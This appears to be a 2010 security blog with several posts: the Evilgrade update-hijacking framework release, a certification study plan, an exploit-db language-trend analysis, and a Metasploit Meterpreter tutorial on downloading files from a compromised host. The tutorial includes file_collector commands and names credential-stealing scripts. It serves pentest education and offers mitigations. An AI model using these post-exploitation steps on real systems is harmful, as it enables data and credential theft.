Monday, 1 November 2010

Evilgrade 2.0 released - with a lot more modules for vulnerable update mechanisms

Evilgrade 2.0 is an exploitation framework for attacking systems by hijacking application update services.

Personally I don't even try to count the amount of times I get popups telling me "There is a java update", "There is an adobe update", "There is an xyz update" on my various PCs. There are many mechanisms, for these updates (especially on Windows systems) and as each mechanism is independent, so it is up to the software vendor for each application, how these mechanisms are implemented, and how securely.

Most update mechanisms are fairly basic:
  1. System checks periodically at a predefined URL
  2. System checks an index file for anything new at that location
  3. System downloads updates specified and installs them
With all the updaters that run for applications these days, it was only a matter of time before someone came up with a framework for exploiting these mechanisms for malicious purposes, and infobyte.com.ar have done just that with Evilgrade.

Basically, this set of techniques means that attackers can replace the update process, and rather than provide legitimate updates, can install malware of the attackers' choice at the time they choose.

The basic mechanism is to use network hacking techniques typically used for man-in-the-middle attacks (MITM), to substitute an attackers' host for a legitimate download location. For example using; ARP spoofing, DNS Cache Poisoning, DHCP spoofing, TCP hijacking or WAP impersonation. The attackers' system then provides notifications, and updates, in place of the legitimate update service.

This second release of Evilgrade (2.0), released on 27th October 2010, supports many more application update services, including the following:

- Freerip 3.30 - Jet photo 4.7.2 - Teamviewer 5.1.9385 - ISOpen 4.5.0 - Istat. - Gom 2.1.25.5015 - Atube catcher 1.0.300 - Vidbox 7.5 - Ccleaner 2.30.1130 - Fcleaner 1.2.9.409 - Allmynotes 1.26 - Notepad++ 5.8.2 - Java 1.6.0_22 winxp/win7 - aMSN 0.98.3 - Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675) - Mirc 7.14 - Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works) - Dap 9.5.0.3 - Winscp 4.2.9 - AutoIt Script 3.3.6.1 - Clamwin 0.96.0.1 - AppTapp Installer 3.11 (Iphone/Itunes) - getjar (facebook.com) - Google Analytics Javascript injection - Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8 - Winamp 5.581 - TechTracker (cnet) 1.3.1 (Build 55) - Nokiasoftware firmware update 2.4.8es - (Windows software) - Nokia firmware v20.2.011 - BSplayer 2.53.1034 - Apt ( < Ubuntu 10.04 LTS) - Ubertwitter 4.6 (0.971) - Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45 - Cpan 1.9402 - VirtualBox (3.2.8 ) - Express talk - Filezilla - Flashget - Miranda - Orbit - Photoscape. - Panda Antirootkit - Skype - Sunbelt - Superantispyware - Trillian <= 5.0.0.26 - Adium 1.3.10 (Sparkle Framework) - VMware

 ...and I am sure there are many, many more possibilities which could easily be developed on top of this framework.

More information and an installer download of the tools are available from the authors' website at infobyte.com.ar

Take great care when using this application. Use it only for legitimate testing purposes, and do not break the law.

Mitigations
  • Limiting the number of applications on corporate laptops to only those required for working
  • Deploying software management systems
  • Networking protections for typical MTIM attacks

Saturday, 30 October 2010

Study plan for the next few months - Updated June 2011

I am about to embark on a full time IT Security study program for the next few months.

It's a syllabus of my own design. (There aren't really any university or college courses that I could attend, which cover the areas I want to study and research).

Over the last year I certified for CISSP, CISM  and OSWP (and got about halfway through PwB, + completed ITIL V3 Foundation and Prince2 Practitioner) - My next plans are a continuation of that study, but now really focusing-in on Pentesting and Ethical Hacking, and studying full time...!

I feel this is a big step for me, and a journey of thousand miles starts with a single big step (which I have already taken)

Phase one

In the first one or two months I will be focused on finishing PwB "OSCP", and passing the CISA exam + logging some more credits to renew my CISSP and CISM certifications. (My CISA exam is booked for Saturday 11th of December).
  • Update 07/11/10 - I have booked more PwB hacking lab-time starting on the 20th November, and working my way through my CISA study guide/book
  • Update 13/11/10 - Renewed my CISSP for another year
  • Update 04/12/10 - Completed 2 weeks of PwB lab-time, wrote several blogs during this time on tools and techniques
  • Update 09/12/10 - Continuing CISA study, passed several practice exams for CISA
  • Update 11/12/10 - Took CISA exam
  • Update 13/12/10 - Finished Security+ course 
  • Update 16/12/10 - Earned 21 hours of ISACA CPE credits this week by watching eSymposiums and passing online tests. Renewed membership of ISACA to continue my current CISM certification. Booked 30 days more PwB labtime
  • Update 16/12/10 - Completed 30 days PwB lab-time - More network access gained and many more machines pwned
  • Update 31/01/11 - Found out I passed the CISA exam
  • Update 10/02/11 - Booked PwB exam
  • Update 21/03/11 - Finished updating OSCP documentation
  • Update 10-11/04/11 - Passed OCSP - First time!
Phase two

My plan is then to proceed straight to CTP (Do not pass go, do not collect $200), pass the CEH and Security+ exams, and, maybe, finally get around to certifying for CCNA.
  • Update 13/11/10 - Passed hacking challenge to register for the CTP course, and got registration code for CEH exam
  • Update 09/12/10 - Booked exams for Security+ (11th Jan) and CEH (18th Jan)
  • Update 13/12/10 - Completed Security+ course. Signed up for CTP course starting 23rd of Jan
  • Update 14/12/10 - Completed Python course
  • Update 30/12/10 - Completed C programming course
  • Update 05/01/11 - Completed MySQL 5 course
  • Update 11/01/11 - Passed Security+ exam (Too easy)
  • Update 16/01/11 - Finished CEH review book
  • Update 18/01/11 - Passed CEH exam
  • Update 19/01/11 - Reviewing Metasploit Megaprimer
  • Update 23/01/11 - Started CTP course
  • Update 08/02/11 - Completed CTP material, started reverse-engineering course
  • Update 10/02/11 - Completed vtc.com CCNA course, and started reviewing CCNA books
  • Update 16/03/11 - Completed vtc.com Linux Security course
  • Update 06/04/11 - Completed Linux Professional Institute Certification Level 1 2009 course
  • Update 24/04/11 - Completed vtc.com ICND 1 course, booked CCNA exam

Phase three

Further study (Possibly a SANS course, not sure which at this stage, and will be subject to available funds, maybe a CREST course or certification) and exploit development/mitigation research TBD...

  • Update 15/01/11 - Started reviewing GPEN material
  • Update 22/03/11 - Finished reviewing GPEN material
  • Update 13/04/11 - Started research project 1
  • Currently studying SANS 542 Web application attacks
 
I'm pretty much done now, and I won't be updating this blog entry further.
(I'll start another one if I need to)

    and then... the future is uncertain...
    (Which is always true ;o)

    In tandem and supporting the above

    Phases one to three will be intermingled with a sprinkling of various courses from http://www.vtc.com/, ad hoc, to support my weaker areas (VTC is a bargain online training service, at around $30 per month) I feel I need to beef-up my programming skills, especially for exploit development and research. If I can squeeze in the odd MCP then that's a bonus.

    MySQL
    Microsoft Transact SQL
    Perl Fundamentals * Started
    Microsoft ASP.NET
    ASP Scripting
    PHP Programming: The Basics
    CompTIA Security+ Certification * Completed
    Cisco CCNA 640-801 * Completed
    Introduction to computer forensics * Started
    Linux Security * Completed
    C Programming 2007 * Completed
    Redhat Certified Technician * Started
    Programming With Ruby
    C++ fundamentals
    Microsoft Windows Vista Security  * Started
    Microsoft Windows Server 2008  * Started
    Advanced C Programming
    Assembly Language Programming  * Started
    Microsoft Windows 7
    Using Security Tools  * Started
    CompTIA Linux+ * Started
    Linux Professional Institute Cert Level 1  * Started
    Microsoft ASP.NET 3.5
    Microsoft SQL Server 2008 Development 
    Mac OS X Snow Leopard  * Started
    Microsoft Server 2008 Server Administrator
    QuickStart! - MySQL 5 * Completed
    QuickStart! - Python * Completed


    Also, keeping up to speed with emerging threats for which http://www.securitytube.net/ is a great site!

    ...plus some light bed-time reading, to fill my spare time:



    CISA practice questions book * completed
    Gray hat hacking * completed
    Teach yourself PHP MySQL and Apache
    Hacking exposed 6 - Great fun! * completed
    The Web Application Hackers Handbook * completed
    Python in a nutshell - bought on ebay for a few quid, bargain
    C for Linux programming - as above, bargain * 30% completed
    CISA study guide * completed
    Certified Ethical hacker review guide * completed
    7 x CCNA books I got on eBay * started reviewing

    I think my schedule is full, maybe too full?

    Wish me luck ;o)

    Language trends in exploit development

    The exploit database in Backtrack 4 currently holds over 13,000 exploits, from the present back to 1996.

    As I am keenly interested in this area, I was interested to see what languages have been used for exploit development, and how these have changed over time.

    Here I have documented some very basic analysis (using bash commands, and open office) to look at the languages used in exploit development, and try to see if there are any trends that can be seen over the period that the database has been collected.

    Please note, this analysis took around 2 hours (such is the power of the bash shell) though this is a brief amount of time, and as such may contain the odd schoolboy error ;o)


    If you are not interested in my workings, by all means skip to the pretty graphs at the bottom.

    Initial trend by year

    The exploitdb has an index file; files.csv, which contains comma delimited information on each exploit in  the database, and this is the data I am going to be using for my analysis. The fields are as follows:

    1,platforms/windows/remote/1.c,"MS Windows WebDAV (ntdll.dll) Remote Exploit",2003-03-23,kralor,windows,remote,80
    ....
    14405,platforms/php/webapps/14405.txt,"PHP-Fusion Remote Command Execution Vulnerability",2010-07-18,"ViRuS Qalaa",php,webapps,0

    The csv format is structured as; number, file, title, date, author, platform, type, port

    So, to look at the number of entries for 2005 we can use the following bash expression:

    cat files.csv | cut -d"," -f4 | grep 2005 | wc -l
    655


    (Here we read the file, take the fourth field only, and count the number of lines containing the expression "2005")

    Let's recursively look at the number of exploits in the database for each year using a "for loop" on the command line:

    for year in $(seq 1996 2010); do echo -ne "$year = "; cat files.csv | cut -d"," -f4 | grep $year | wc -l; done
    1996 = 7
    1997 = 13
    1998 = 0
    1999 = 1
    2000 = 63
    2001 = 55
    2002 = 17
    2003 = 142
    2004 = 407
    2005 = 655
    2006 = 1783
    2007 = 1954
    2008 = 3217
    2009 = 3161
    2010 = 2295




    So we are definitely seeing some up-tick there over time ;o) and I am interested in looking at trends in the languages used for exploit development in this database.

    Languages used

    This part is not so easy, but I am going to use some very basic checks using the file extension in the filename (which is certainly unreliable for Linux, but an interesting first look)

    Let's see what file extensions we do have, and in what proportion for the whole database:

    So we need the second field, cut of the extension after the dot, and sort for unique entries

    cat files.csv | cut -d"," -f2 | cut -d"." -f2 | sort -u

    Which returned several odd items, not worth putting here. Interesting results though, with perhaps some typos in the database (? I will investigate these later).

    Anyway, just use the ones that are identifiably "languages", make a list of them, and then look at the total usage for the database.

    Here is the list I am going for:

    for lang in $(cat langs.txt); do echo -ne "$lang = "; cat files.csv | cut -d"," -f2 | cut -d"." -f2 | grep $lang$ | wc -l ; done
    asm = 25
    asp = 14
    bat = 1
    c = 1512
    cgi = 2
    cpp = 120
    cs = 1
    delphi = 1
    htm = 124
    html = 595
    jar = 2
    java = 4
    js = 4
    ksh = 1
    php = 785
    pl = 1784
    py = 608
    rb = 192
    sh = 99
    sql = 10
    vbs = 2


    Note: the second $ in "grep $lang$" is quite important because "c", for example, appears in other extensions

    So, let's take the significant ones (anything above 10) and look into those more:

    for lang in $(cat toplangs.txt); do echo -ne "$lang = "; cat files.csv | cut -d"," -f2 | cut -d"." -f2 | grep $lang$ | wc -l ; done
    asm = 25
    asp = 14
    c = 1512
    cpp = 120
    htm = 124
    html = 595
    php = 785
    pl = 1784
    py = 608
    rb = 192
    sh = 99
    sql = 10


    Looking at the total usage (based on file extension)


    ...and usage over the past couple of years:


    As you can see, Perl seems to be a clear winner, though Python is definitely on the rise, and seems due to overtake at some point.


    Looking at language trends over a period of 15 years

    To get just the extensions and dates we can use:

    cat files.csv | cut -d"," -f2,4 | cut -d"." -f2

    For each year, and for each language, I want to grep for the year/language combination and count the result:

    for year in $(seq 1996 2010); do echo "For year $year"; for lang in $(cat toplangs.txt); do echo -ne "$lang = "; cat files.csv | cut -d"," -f2,4 | cut -d"." -f2 | grep $year | grep $lang, | wc -l ; done ; done

    Blah, blah, blah...

    ...
    For year 2010
    asm = 4
    asp = 0
    c = 101
    cpp = 3
    htm = 0
    html = 108
    php = 43
    pl = 174
    py = 164
    rb = 34
    sh = 6
    sql = 0


    Which resulted in an interesting graph:


    Which languages should I learn?

    So, based on these results, if you are interested in Ethical Hacking, (exploit development and analysis) and you want to learn a programming language in order to do this, then based on these results, I would recommend the following (in this order):
    1. Perl
    2. Python
    3. C
    Also, as web application hacking is a huge part of exploit development these days, it's definitely worth studying PHP, ASP, Javascript, and some SQL too.

      Wednesday, 27 October 2010

      Post-exploitation: Downloading files from a victim with Metasploit Meterpreter scripts

      Imagine you have compromised a target system as part of a Penetration test. Additionally, as part of the pen-test you need to download some files, both as proof of the compromise, and also to use the collected data from this system to assist in further exploitation of other systems.

      Here I discuss options for how files can be downloaded using the Metasploit Meterpreter console, and using Meterpreter scripts to speed up the process.

      I must emphasize that these techniques should only be used for legitimate purposes, either on a test network, or for penetration testing where you have written permission from the data owner.

      You are heir to your actions, make sure that everything you do is ethical, and use these techniques for good purposes.

      We will skip the exploitation phase in these examples, to focus on the post-exploitation and data collection aspects.

      So, we have exploited a system, and find ourselves at friendly Meterpreter console prompt.




      The Meterpreter shell has a lot of neat features, including encryption of all the traffic between our attacking system and target. This prevents any interception and scanning of the data from intrusion detection systems (IDS).

      Downloading individual files:

      From the Meterpreter console it is possible to download individual files using the "download" command. Which is pretty straightforward and easy if you only want to download one file.


      Meterpreter has a lot of useful inbuilt scripts to make post exploitation tasks such as data collection easier. To view the options, simply type "run" and then space-tab-tab to see the auto-completion options:



      Let's look at "run file_collector" first:

      In the example below, I wanted to copy all the data from the E: drive of a Windows target, with the exception of a couple of directories that I am not interested in.
      (In this actual example I am copying some files from a "Teach yourself C for Linux in 21 days" CD which is in the drive on the target system, onto my attacking system ;o)

      To view the "run file_collector" options, use "-h"

      meterpreter > run file_collector -h
      Meterpreter Script for searching and downloading files that
      match a specific pattern. First save files to a file, edit and
      use that same file to download the choosen files.

      OPTIONS:

          -d   Directory to start search on, search will be recursive.
          -f   Search blobs separated by a |.
          -h        Help menu.
          -i   Input file with list of files to download, one per line.
          -l   Location where to save the files.
          -o   Output File to save the full path of files found.
          -r        Search subdirectories.


      meterpreter >


      As you can see in the description, this is a three stage process. First, we create a file list, then we remove any files we don't want from the list, then we execute the download process.

      Creating the file list

      run file_collector -r -d e:\\ -f * -o /root/Courses/CforLinux/file.txt

      We are running the collector recursively, looking for all files on the E: drive, and storing a list of these files in a "file.txt" file on my attacking system.

      As Meterpreter copies files over an encrypted connection, this can make the data transfer slower, so best to strip out any unneeded files.





      Editing the file list

      I don't need some of the directories on the target data drive, so I use grep to remove these, and make a new file "file.lst".

      cat /root/Courses/CforLinux/file.txt | grep -v \DDD | grep -v \GCC | grep -v \GDB | grep -v \MAKE > file.lst2

      (I am removing the \DDD \GCC \GDB \MAKE directories, which is not particularly relevant to you, just an example. I am chopping two carrots with one knife here, as this was useful to me at the time ;o)



      Downloading the file list

      Once we have the edited file list we can simply start the file download process with the following command:

      run file_collector -i /root/Courses/CforLinux/file.lst -l /root/Courses/CforLinux/

       



      There we go, and that was a very quick way to download all the files I needed.

      Other scripts for data collection


      There are a whole host of data collection scripts that you can try, including the following:

      scraper, credcollect, get_filezilla_creds, dumplinks, get_pidgin_creds, enum_chrome, enum_firefox, enum_putty, winenum

      ...and if you are feeling adventurous you could create your own scripts. (Maybe a blog for another time)

      Mitigations

      • There aren't really any mitigations for these examples. If the exploitation has got this far, it is basically game-over.
      • Deploying a layered security program, using "Defense in depth" can reduce the risk of the initial exploitation.